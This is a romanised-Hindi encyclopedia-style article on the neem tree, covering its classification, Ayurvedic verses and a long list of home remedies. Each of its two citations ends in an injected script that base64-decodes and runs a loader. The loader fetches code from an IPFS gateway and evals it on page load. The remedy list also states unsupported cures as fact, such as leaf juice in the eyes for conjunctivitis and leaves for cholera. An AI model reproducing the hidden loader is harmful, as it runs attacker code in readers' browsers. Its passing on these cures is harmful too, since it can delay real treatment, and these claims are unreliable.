नीम
nim
| |
| jagat | padap |
| sangh | Magnoliophyta |
| gan | Sapindales |
| kul | Meliaceae |
| jati | A. indica |
| dvipad nam | aja़dirakta indika / Azadirachta indica |
nim ek chamatkari vriksh mana jata hai. nim jo prayah sarv sulabh vriksh asani se mil jata hai.
- nim ke pe d poore dakshin eshiya mean phaile haian aur hamare jivan se ju de hue haian. nim ek bahut hi achchhi vanaspati hai jo ki bharatiy paryavaran ke anukool hai aur bharat mean bahutayat mean paya jata hai. bharat mean isake aushadhiy gunoan ki janakari hazaroan saloan se rahi hai.
- bharat mean ek kahavat prachalit hai ki jis dharati par nim ke pe d hote haian, vahaan mrityu aur bimari kaise ho sakati hai. lekin, ab any desh bhi isake gunoan ke prati jagarook ho rahe haian. nim hamare lie ati vishisht v poojaniy vriksh hai. nim ko sanskrit mean nimb, vanaspati vijnan mean 'azadirekta- indika (Azadirecta-indica) athava Melia azadirachta kahate hai.
gun
yah vriksh apane aushadhi gun ke karan paranparik ilaj mean bahupayogi siddh hota a raha hai. nim svabhav se k dava jarur hota hai, parantu isake aushadhiy gun b de hi mithe hote hai. tabhi to nim ke bare mean kaha jata hai ki ek nim aur sau hakim donoan barabar hai. isamean kee tarah ke k dave parantu svasthyavardhak padarth hote hai, jiname margosian, nimbidin, nimbesterol pramukh hai. nim ke sarvarogahari gunoan se bhara p da hai. yah harbal oragenik pestisaid sabun, eantiseptik krim, datun, madhumeh nashak choorn, kosmetik adi ke roop mean prayog kiya jata hai. nim ki chhal mean aise gun hote haian, jo daantoan aur masoodhoan mean lagane vale tarah-tarah ke baiktiriya ko panapane nahian dete haian, jisase daant svasth v mazaboot rahate haian.
gramin aushadhalay
| 150px|nim ki patti, datun bij / phal |
| nim ki patti, datun, bij aur phal |
| 150px|nim ka phool |
| nim ka phool |
| 150px|nim ka bij / phal |
| nim ka bij / phal |
| 200px|nim ka datun |
| nim ka datun |
| 150px|nim ka paudar |
| nim ka paudar |
| 150px|nim ka tel |
| nim ka tel |
| 150px|bharatiy dakatikat mean nim |
| bharatiy dakatikat mean nim |
charak sanhita aur sushrut sanhita jaise prachin chikitsa granthoan mean isaka ullekh milata hai. ise gramin aushadhalay ka nam bhi diya gaya hai. yah pe d bimariyoan vagairah se azad hota hai aur us par koee ki da-makau da nahian lagata, isalie nim ko azad pe d kaha jata hai. [1]bharat mean nim ka pe d gramin jivan ka abhinn aang raha hai. log isaki chhaya mean baithane ka sukh to uthate hi haian, sath hi isake pattoan, nibauliyoan, dandiyoan aur chhal ko vibhinn bimariyaan door karane ke lie prayog karate haian. granth mean nim ke gun ke bare mean charcha is tarah hai :-
nimb shitoan laghugrahi katur koagni vatanut.
adhyah shramatutakas jvararuchikrimi pranatu ॥
arthath nim shital, halka, grahi pak mean charapara, hriday ko priy, agni, vat, parishram, trisha, aruchi, krimi, vran, kaph, vaman, kodh aur vibhinn prameh ko nasht karata hai.[2]
chaitr navaratri hamare lie navavarsh ka shubharambh hota hai. tab dadi maan ke nuskhe yani svasthy riti v paramparanusar nim ke ras ka sevan 9 dinoan tak pratah hi karana chahie taki ham pure varsh chust v tandurust rahean. vaise kisi bhi mausam mean nim ke patte hamare sharir ke lie bahut hi upayogi siddh hota hai. chaitr navaratri par nim ke komal patte hote hai, isalie isake komal pattoan ko pani mean gholakar sil batte ya miksi mean pisakar isaki goli taiyar kar le, isamean thoda saiandha ya kala namak, hiang, jira, ajavayan aur kuchh kali mirch dalakar use grahy yogy banaya jata hai. is goli ko kapade mean chhana jata hai, chhana hua pani gadha ya patala kar pratah khali pet ek kap se ek gilas tak sevan karana chahie. lagatar 9 dinoan tak isi anupat mean lene se pure sal ki svasthy garanti ho jati hai. sahi mayane mean chaitr navaratri svasthy navaratri hai, yah in dinoan bachchoan ke chechak se bachata hai. yah ras eantiseptik, eanti bekteriyal, eantivayaral, eantivarm, eantielarjik, eantityoomar adi gunoan se bharapoor hai. aise sarvagun sanpann anamol nim roopi svasthy ras ka upayog pratyek vyakti ko chaitr navaratri mean karana chahie. jin logoan ko bar bar-bukhar aur maleriya ka sankraman hota hai, unake lie yah ramavan aushadhi hai. vaise to ap pratidin paanch taza nim ki pattiyaan chaba le to achchha hai, pratidin isaka prayog karane par madhumeh rogiyoan ke rakt sharkara ka star kam ho jata hai.[2]
ghareloo upayog
nim ke vriksh ki thanndi chhaya garmi se rahat deti hai to patte phal-phool, chhal ka upayog ghareloo rogoan mean kiya jata hai, nim ke aushadhiy gunoan ko ghareloo nuskhoan mean upayog kar svasth v nirogi bana ja sakata hai. isaka svad to k dava hota hai, lekin isake fayade to anek aur bahut prabhavashali haian aur unamean se kuchh nimnalikhit haian :--
- nim ke tel se malish karane se vibhinn prakar ke charm rog thik ho jate haian.
- nim ka lep sabhi prakar ke charm rogoan ke nivaran mean sahayak hai.
- nim ki datun karane se daant v masoodhe mazaboot hote hai aur daantoan mean kida nahian lagata hai, tatha muanh se durgandh ana band ho jata hai.
- isamean doguna pisa seandha namak milakar manjan karane se payariya, daant-dadh ka dard adi door ho jata hai.
- nim ki kopaloan ko pani mean ubalakar kulle karane se daantoan ka dard jata rahata hai.
- nim ki pattiyaan chabane se rakt shodhan hota hai aur tvacha vikar rahit aur chamakadar hoti hai.
- nim ki pattiyoan ko pani mean ubalakar aur pani thanda karake us pani se nahane se charm vikar door hote haian, aur ye khasataur se chechak ke upachar mean sahayak hai aur usake vishanu ko phailane n dene mean sahayak hai.
- chechak hone par rogi ko nim ki pattiyoan bichhakar us par litaean.
- nim ki chhal ke kadhe mean dhaniya aur sauanth ka choorn milakar pine se maleriya rog mean jaldi labh hota hai.
- nim maleriya phailane vale machchharoan ko door rakhane mean atyant sahayak hai. jis vatavaran mean nim ke pe d rahate haian, vahaan maleriya nahian phailata hai. nim ke patte jalakar rat ko dhuaan karane se machchhar nasht ho jate haian aur visham jvar (maleriya) se bachav hota hai.
- nim ke phal (chhota sa) aur usaki pattiyoan se nikale gaye tel se malish ki jaye to sharir ke liye achchha rahata hai.
- nim ke dvara banaya gaya lep valoan mean lagane se bal svasth rahate haian aur kam jh date haian.
- nim aur ber ke pattoan ko pani mean ubalean, thannda hone par isase bal, dhoyean snan karean kuchh dinoan tak prayog karane se bal jhadane band ho jayegean v bal kale v mazaboot raheangean.
- nim ki pattiyoan ke ras ko aankhoan mean dalane se aankh ane ki bimari (kanjektivaitis) samapt ho jati hai.
- nim ki pattiyoan ke ras aur shahad ko 2:1 ke anupat mean pine se piliya mean fayada hota hai, aur isako kan mean dalane kan ke vikaroan mean bhi fayada hota hai.
- nim ke tel ki 5-10 booandoan ko sote samay doodh mean dalakar pine se zyada pasina ane aur jalan hone sambandhi vikaroan mean bahut fayada hota hai.
- nim ke bijoan ke choorn ko khali pet gunagune pani ke sath lene se bavasir mean kafi fayada hota hai.
- nim ki nimboli ka choorn banakar ek-do gram rat ko gunagune pani se lean kuchh dinoan tak niyamit prayog karane se kabj rog nahian hota hai evan aantean mazaboot banati hai.
- garmiyoan mean loo lag jane par nim ke barik panchaang (phool, phal, pattiyaan, chhal evan jad) choorn ko pani me milakar pine se loo ka prabhav shaant ho jata hai.
- bichchhoo ke katane par nim ke patte masal kar kate gaye sthan par lagane se jalan nahian hoti hai aur zahar ka asar kam ho jata hai.
- nim ke 25 gram tel mean thoda sa kapoor milakar rakhean yah tel phoda-phuansi, ghav adi mean upayog rahata hai.
- gathiya ki soojan par nim ke tel ki malish karean.
- nim ke patte kidhe marate haian, isaliye pattoan ko anaj, kap doan mean rakhate haian.
- nim ki 20 pattiyaan pisakar ek kap pani mean milakar pilane se haija़ thik ho jata hai.
- nibori nim ka phal hota hai, isase tel nikala jata hai. ag se jale ghav mean isaka tel lagane se ghav bahut jaldi bhar jata hai.
- nim ka phool tatha niboriyaan khane se pet ke rog nahian hote.
- nim ki j d ko pani mean ubalakar pine se bukhar door ho jata hai.
- chhal ko jalakar usaki rakh mean tulasi ke pattoan ka ras milakar lagane se dag tatha any charm rog thik hote haian.
- videshoan mean nim ko ek aise pe d ke roop mean pesh kiya ja raha hai, jo madhumeh se lekar eds, kaiansar aur n jane kis-kis tarah ki bimariyoan ka ilaj kar sakata hai.
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tika tippani aur sandarbh
- ↑ nim sevan se banaean sehat (hindi) (ech.ti.em.el) veb duniya hindi. abhigaman tithi: 10 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 nim ka aushadhiy gun (hindi) (pi.ech.pi) elovera ke svasthyavardhak utpad. abhigaman tithi: 10 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh